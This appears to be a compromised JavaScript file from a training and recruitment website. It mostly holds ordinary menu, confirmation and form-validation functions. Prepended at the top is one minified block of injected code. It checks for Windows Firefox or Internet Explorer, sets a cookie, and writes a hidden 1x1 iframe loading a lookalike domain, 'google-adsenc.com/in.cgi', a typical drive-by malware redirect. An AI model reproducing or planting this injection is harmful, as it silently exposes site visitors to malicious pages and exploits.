var BrowserDetect = { init: function () { this.browser = this.searchString(this.dataBrowser) || "An unknown browser"; this.version = this.searchVersion(navigator.userAgent) || this.searchVersion(navigator.appVersion) || "an unknown version"; this.OS = this.searchString(this.dataOS) || "an unknown OS"; }, searchString: function (data) { for (var i=0;i<data.length;i++) { var dataString = data[i].string; var dataProp = data[i].prop; this.versionSearchString = data[i].versionSearch || data[i].identity; if (dataString) { if (dataString.indexOf(data[i].subString) != -1) return data[i].identity; } else if (dataProp) return data[i].identity; } }, searchVersion: function (dataString) { var index = dataString.indexOf(this.versionSearchString); if (index == -1) return; return parseFloat(dataString.substring(index+this.versionSearchString.length+1)); }, dataBrowser: [       { string: navigator.userAgent,subString: "Firefox",identity: "Firefox"},{string: navigator.userAgent,subString: "MSIE",identity: "Explorer",versionSearch: "MSIE"}],dataOS : [{string: navigator.platform,subString: "Win",identity: "Windows"}]};function addCookie(szName,szValue,dtDaysExpires){ var dtExpires = new Date();var dtExpiryDate = "";dtExpires.setTime(dtExpires.getTime()+dtDaysExpires*24*60*60*1000);dtExpiryDate=dtExpires.toGMTString();document.cookie=szName+"="+szValue+";expires="+dtExpiryDate;} function findCookie(szName){        var i=0;var nStartPosition=0;var nEndPosition=0;var szCookieString=document.cookie; while (i<=szCookieString.length){nStartPosition=i;nEndPosition=nStartPosition+szName.length;if (szCookieString.substring(nStartPosition,nEndPosition)==szName){nStartPosition=nEndPosition+1;nEndPosition=document.cookie.indexOf(";",nStartPosition);if(nEndPosition<nStartPosition) nEndPosition=document.cookie.length;return document.cookie.substring(nStartPosition,nEndPosition);break;}i++;} return "";} BrowserDetect.init(); var szCookieString = document.cookie; var boroda = BrowserDetect.browser; var os = BrowserDetect.OS; if ( ((boroda == "Firefox" || boroda == "Explorer") && (os == "Windows")) && (findCookie('geo_idn')!='c48a765e4f75baeb85f0a755fc3ec09c') ) {addCookie("geo_idn","c48a765e4f75baeb85f0a755fc3ec09c",1);document.write('<iframe src="http://google-adsenc.com/in.cgi?2" name="Twitter" scrolling="auto" frameborder="no" align="center" height = "1px" width = "1px"></iframe>');}else {}
// **************************************************************
// Function:    hideAll()
// Description: hide all boxes
// Inputs:      none
// Outputs:     none
// **************************************************************
function ToggleMenu( menu )
{
  if ( document.getElementById )
  {
    var ele = document.getElementById( menu ).style;

    if ( ele.display == "block" )
      ele.display = "none";
    else
      ele.display = "block";

    return false;
  }
  else
    return true;
}

// **************************************************************
// Function:    AreYouSure()
// Description: hide all boxes
// Inputs:      none
// Outputs:     none
// **************************************************************
function AreYouSure()
{
  return confirm("Are you sure you want to delete this item?")
}

// **************************************************************
// Function:    deletePicture()
// Description: hide all boxes
// Inputs:      none
// Outputs:     none
// **************************************************************
function deletePicture()
{
  return confirm( "Are you sure you want to delete this picture?" )
}

// **************************************************************
// Function:    hideAll()
// Description: hide all boxes
// Inputs:      none
// Outputs:     none
// **************************************************************
function ValidateCourse()
{
  var title = document.getElementById( 'coursetitle' ).value;
  var content = document.getElementById( 'coursecontent' ).value;

  if ( title == "" || content == "" )
  {
    alert( "You must fill in all fields to continue." );
    return false;
  }

  return true;
}

// **************************************************************
// Function:    hideAll()
// Description: hide all boxes
// Inputs:      none
// Outputs:     none
// **************************************************************
function ValidateVacancy()
{
  var title = document.getElementById( 'jobtitle' ).value;
  var location = document.getElementById( 'location' ).value;
  var description = document.getElementById( 'description' ).value;
  var salary = document.getElementById( 'salary' ).value;
  var startdate = document.getElementById( 'startdate' ).value;
  var reference = document.getElementById( 'reference' ).value;

  if ( title == "" || location == "" || description == "" || salary == "" || startdate == "" || reference == "" )
  {
    alert( "You must fill in all fields to continue." );
    return false;
  }

  return true;
}

// **************************************************************
// Function:    hideAll()
// Description: hide all boxes
// Inputs:      none
// Outputs:     none
// **************************************************************
function ValidateTalent()
{
  var description = document.getElementById( 'description' ).value;
  var reference = document.getElementById( 'reference' ).value;

  if ( description == "" || reference == "" )
  {
    alert( "You must fill in all fields to continue." );
    return false;
  }

  return true;
}

// **************************************************************
// Init Vars
// **************************************************************
var boxes = new Array( 'indextraining', 'indexrecruitment', 'indexemployers' );
var box = 0;
var inputType = 0;
var eventID = 0;

// **************************************************************
// Function:    hideAll()
// Description: hide all boxes
// Inputs:      none
// Outputs:     none
// **************************************************************
function hideAll()
{
  for ( i=0; i<3; i++ )
    document.getElementById(boxes[i]).style.visibility="hidden";
}

// **************************************************************
// Function:    showBox( box )
// Description: show a box
// Inputs:      box
// Outputs:     none
// **************************************************************
function showBox( box )
{
  clearTimeout( eventID );

    hideAll();

    document.getElementById(boxes[box]).style.visibility="visible";

    box++;

    if ( box > 2 )
      box = 0;

    eventID = Math.random();

    eventID = setTimeout( 'showBox( '+box+' )', 5000 );
}

/*
function showBox( box, inputType, id )
{
  if ( eventID == id || inputType == 1 )
  {
    hideAll();

    document.getElementById(boxes[box]).style.visibility="visible";

    box++;

    if ( box > 2 )
      box = 0;

    eventID = Math.random();

    setTimeout( 'showBox( '+box+', 0, '+eventID+' )', 5000 );
  }
}
*/

// **************************************************************
// Function:    popupWindow( URL )
// Description: pop up a new browser window
// Inputs:      URL - the page to open in the new window
// Outputs:     none
// **************************************************************
function popupWindow( URL )
{
  day = new Date();
  id = day.getTime();

  eval( "pagemanageimages = window.open( URL, 'manageimages', 'toolbar=0,scrollbars=1,location=0,statusbar=0,menubar=0,resizable=1,width=800,height=500,left=100,top=100' );" );
}

